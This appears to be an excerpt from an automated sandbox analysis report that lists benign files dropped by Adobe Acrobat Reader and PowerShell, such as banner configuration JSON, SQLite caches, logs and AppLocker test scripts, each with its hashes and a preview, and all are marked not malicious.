Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJf8dPeUkwRe9:YvXKXjDSbsdTeObGU8Ukee9
MD5:	EAC775FFAE7026FF36F9251EB2CE68A1
SHA1:	0A91311A59D7FCF61337F06336BBB54748E45E22
SHA-256:	6E59DBED61528F1BA412D3FD6C32951AFF7AA227ECE2FB40E90C3EA0C7167B2A
SHA-512:	4CD68B9100429A03B4775B4E1E755E3C53F05FF552DF8B48FA90D12FA331309B37DCDC4E2A434E0E7266C190F15716ADF52A7F5D5AC9C6B70F959CD23FBA6602
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.323657247860655
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJfQ1rPeUkwRe9:YvXKXjDSbsdTeObGY16Ukee9
MD5:	21144BD15B63EF540544891AE19AD472
SHA1:	05F4B710F9ED7235F502E3FF624E6CBF3141F76B
SHA-256:	1040C48B48754336B3F21AB7B2851BD398926BC095F98B4771DF3A00A6814C17
SHA-512:	E0219E7DDF8CB025045FC18938A1D82841A4FCB51AC216A85CD80BEFD4CC31792ED5EDAE7BE4489E9FF674143CAF48C7D9DCF4DAEE6D79C6C0FB447374C3928A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.337389760938157
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJfFldPeUkwRe9:YvXKXjDSbsdTeObGz8Ukee9
MD5:	909BAFD1CB2284CC3780852924699B31
SHA1:	3D8B1624951F84A389174771893EC792825B4720
SHA-256:	DFC74E9BA27E9FBC78CA4CA34F41110553294BAF5360FDA3D5F3A9C9A5F10215
SHA-512:	F2F54CED2F6E106CF7EBBC33B23BAD908A17ED30BB622C534521626647C6F872618E11578A3A311EE9174447DC4ACF7AAB06603092F14D01E21CC73A35CBD909
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.345791582425231
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJfzdPeUkwRe9:YvXKXjDSbsdTeObGb8Ukee9
MD5:	3BE656FB5993CFD13090347D5788C56C
SHA1:	FCBFD9B96C27E7F4B97AAA3BDFB07CD6F9DEE4F8
SHA-256:	EEC83D0DBEEF1D35C7C52B9BA56FB6CC47E106CFB9B77367E5AB72F5712B8CDB
SHA-512:	E9DC50C0AF843F6E8169A996700A163F6F169CBF7B424D3B3060B59C76BA74497B56F5A1680C748F3BACCA2BC6E935D4B8BAF5F2812902E8E31D6C46E0DD133B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.326690184526219
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJfYdPeUkwRe9:YvXKXjDSbsdTeObGg8Ukee9
MD5:	43D07239AD835F05692415CC91AD0852
SHA1:	A163537DD0FA4B23F744D788397C67A93ECD214F
SHA-256:	F9EE8E8323E12628197524C9E732700C71634684314BFDF1AB3E9CB92A4CB5B7
SHA-512:	E6D8AF88EBB997842DFEEC6CA936BBA94EE52027A35663D29E997B4531D29F10950176940FBF7FC6A38AADB709DFBB711A75E3B799D95C3B2952B056DECEF049
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.313210454963992
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJf+dPeUkwRe9:YvXKXjDSbsdTeObG28Ukee9
MD5:	50CC4D7873A5F68B1F1DC8BA10979735
SHA1:	2BAE17577C4C3722EB29F31F5C223A0D6F4B44A1
SHA-256:	1959CB09075961FCECA57F56A393A5A8881AFBC28DA801BF16670B04F678E2D7
SHA-512:	B3E89A6592B756602A54952B372FBEC0689BB8E06A2D5FE861B172709C6581152EFE64AC009A13C07C575495235884D0A7F1213D80FCD9CBE834DD5DE204047B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.310053844505745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJfbPtdPeUkwRe9:YvXKXjDSbsdTeObGDV8Ukee9
MD5:	200B554035E7040517FC668C23C8A48A
SHA1:	43C4F995D763F60C3FABF88778263AA0C32A0B4C
SHA-256:	EAD3134014F5DFBC9BC748F053EE76AD6704FEDC35642F81E66AB94480B759CC
SHA-512:	ADEC8068F68076FE580862CDC366063D8C5F7C82C22C42C4C0C884C3D55EEAF22FCCA14B56EF8DC3B6B2A08CEDAECED3890643EFFDCBE48B496397BCD0A5AE0D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.314760348542472
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJf21rPeUkwRe9:YvXKXjDSbsdTeObG+16Ukee9
MD5:	E09875B69159D8E7DBE331C8E4C1E9A3
SHA1:	DA886D27D78C93FB8C6A2600F94B723D89102920
SHA-256:	EF568C599784B471041195E197D37D892D43F6984B557C2FF221964F6E220F32
SHA-512:	A8F354E42D77E8E1DA02D1134D33F1BFA997C688A8D36F1CB44BFCBCE20E09B3EF166A09F39E385669CA1C78A09473731646CF44EAD35EF948CCCF96C97C28C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665658167840532
Encrypted:	false
SSDEEP:	24:Yv6X/SmeO0amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2q1:YvYRezBgkDMUJUAh8cvM2k
MD5:	287D6EEB5949C85A2D234D9FE9951E4C
SHA1:	129820CDE273DE34CD207B535575CD261A7A3109
SHA-256:	16348444117118A445F6C3171B699528963B606FF832D4999927A44C7A98F7A3
SHA-512:	CBE47F951029D9532A867179E4C394A7355FFE1EE73090C94CB4A0C236A9A7C412C061F03CEFB34BBEA0D7BC96ECC0F0FDD66BD2E81BB2A7F82B46667351646A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.288945381916212
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJfshHHrPeUkwRe9:YvXKXjDSbsdTeObGUUUkee9
MD5:	A394260367B50ED307084CEA927383B0
SHA1:	CAF2BA812010D90A93ACFDA21C05B2036F358A38
SHA-256:	5262654560F0CEEF061EE022A9B0D6E501B679213B32A8D606598EE906161E95
SHA-512:	85287CD67682D2DFE0814EFCDE6D4B631AB0C0EB0EFFDE2A46901F807116FFE9D9AF4C894BA2F77359DD148FAED2D1E5AD0AA162B07FF5845FF88FE0548386B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.310307518985328
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDFoHQDg/4WsGiIPEeOF0YQoAvJTqgFCrPeUkwRe9:YvXKXjDSbsdTeObGTq16Ukee9
MD5:	E6ECDF5631BF83623BD3D91CA4CA9B72
SHA1:	A108D4D7A10D6BC54832CE488FD9303D460BC5D1
SHA-256:	14026A6F874D158D8D806121F2FDFA0E756F3831797BD852CFF3CFB9890A3186
SHA-512:	54D021D9EBDC1CEBCA063EED34DAF92061DA548F1D83304DD515CA563B501BAAEB6FB9518AD9744B6C4128A5F10713AB8D660FF3C118141C56693845E20A499E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"40bf6e54-f2fd-49b2-83ac-5db541d4f75d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736729387419,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14260472019431
Encrypted:	false
SSDEEP:	48:YBgfUAEFnU327BXGO9TvwAUL9TI3cTObYhqnSh9TpEW:mq1i3TYNOO/r
MD5:	7DBAC3BD991AA1B1058DAFA735852FB8
SHA1:	E0E8D06D5732D7A5A652456C6E9F3F511EF8141B
SHA-256:	E73DD3CBA68BCD2B830F2749AD2D7480473724A3531DC75551F00487E001A8C7
SHA-512:	D0B909AF41029F614FEABE167EA9B60E45575470CC4A05491C1FFD5CD0905F1B5F5CB5EC36272B4BE877C3DDBB139A778F7AE5ED5E4F47E1B5F883AAD384FDCE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2324d102d79ebd83279db13c912bc632","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736555356000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"eb94c8c4660c5dc1d466ba5410f5a636","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736555356000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8dbebe4ac0e34aceb26c6f21cd2233aa","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736555356000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"80e68f8d3106704cdd0c3a212c08f966","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736555356000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3b545eab91bd8232e51d9b2c94927d9a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736555356000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e9bd986a607c8a76969e7128e0d71de6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4544892912203935
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsOlW:lNVmsw3SHtbDbPe0K3+fDZd0
MD5:	1A1B9C3280E442E5FD1B6A1123C97EDA
SHA1:	45331ACDEBA9495054401CD10174264760C7627D
SHA-256:	6D8AEDEE5F29B9727649456D6C4E0B25A4FD622640733942752BB8EE768100C4
SHA-512:	16A45BD0D4DEFB3548AC3252825903BEEE82EDA6646FDC96A851544820FC871764C194D5FA1B871E84FDE00116C938BCB6D5AA7566AB2EADA4F2B8663F39820A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9574194939051552
Encrypted:	false
SSDEEP:	48:7MGrvrBd6dHtbGIbPe0K3+fDy2ds/RjqFl2GL7msk:7T3SHtbDbPe0K3+fDZdqjKVmsk
MD5:	6FAA7B6069925538B40ED4C7A0CFCE9E
SHA1:	FF78117AAD3C3E6C14671D3E5C467783C7008258
SHA-256:	075FCDB16968444904E33BFF8D4F61DA48CA727F2D8EF022CF00DB339659EB28
SHA-512:	2BD9D758BA8122A100435A652ACF4CF5D6892D3AE7398F126EE4C4AFD305D5FC71EC4955C0EB716148FE8D34E3556FFF31755B1F24B0A8D40B9CDCF09AD5D970
Malicious:	false
Preview:	.... .c.....X9........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTuHcZvCNq6MnawUKHLiljUvL3LYyu:6a6TZ44ADETuHCKNq63wiCL3LK
MD5:	7E9030836A913721FE7B813C95D091F4
SHA1:	03C5AA33B0C137F7C34E787C9022E63D30A45013
SHA-256:	CBB3525E575F97E1A1171BC5154153D93DB8569B15E3D985CB9486EFF8856404
SHA-512:	3BF3056C51B3BEA5F8ECA2A44FCF742439E759E67C4331F6B39BECB717D0937DC16DF2DC194758A0B7A964B70CBC5A5A18335548B3FBFEF96069DF93F98A057A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3339f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3uYle:Qw946cPbiOxDlbYnuRK+bD3Xw
MD5:	4C16A1BCF150ABBEB69BAF66EDD171FD
SHA1:	78A02C1F66A17E8005868D9DAC290F85259852B2
SHA-256:	C7190A0AEB9BCC01BC12DE624DC39C0066B41CF25B214B07F090121DF41E7E0D
SHA-512:	1F90EC03321124F048B6D5E850C74FC1424A85281B621E067AA10B599D0CFCA827732B71E258F527CCA775D3783366D50ABA215E53867C325B8A397F046B3AC0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.2.9.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lsbuj0xj.xxr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qwxhc4ik.tu1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-29-10-712.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.362970711074768
Encrypted:	false
SSDEEP:	384:nm63ieoSA0jazE/res8LVTeX/obi/MMaLspFTL7a/BD9Px/N3SGTPOPuHH9pFMEN:hG9
MD5:	BAB80177B49587CC3EAF9DC8F5D93AF5
SHA1:	1F7E2340414866D6561F1502447CD2EF4CD9FF8F
SHA-256:	D734273C3DB7B379B7077E4656B0265D019A7FB9C2DAB7221AE09E90B9689357
SHA-512:	91FE08286ED1FA1FCB514C74CDD54FE1BCFE6A5E806137BB8AD3F80015AF5889349F9E33F1967E1C823DAADAD8607564ACC99AE448DE8AA54A66807993C4F4B5
Malicious:	false
Preview:	SessionID=fdff577c-8a04-40a1-baca-c00a982cd9b9.1736555350767 Timestamp=2025-01-10T19:29:10:767-0500 ThreadID=5648 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=fdff577c-8a04-40a1-baca-c00a982cd9b9.1736555350767 Timestamp=2025-01-10T19:29:10:793-0500 ThreadID=5648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=fdff577c-8a04-40a1-baca-c00a982cd9b9.1736555350767 Timestamp=2025-01-10T19:29:10:793-0500 ThreadID=5648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=fdff577c-8a04-40a1-baca-c00a982cd9b9.1736555350767 Timestamp=2025-01-10T19:29:10:793-0500 ThreadID=5648 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=fdff577c-8a04-40a1-baca-c00a982cd9b9.1736555350767 Timestamp=2025-01-10T19:29:10:793-0500 ThreadID=5648 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
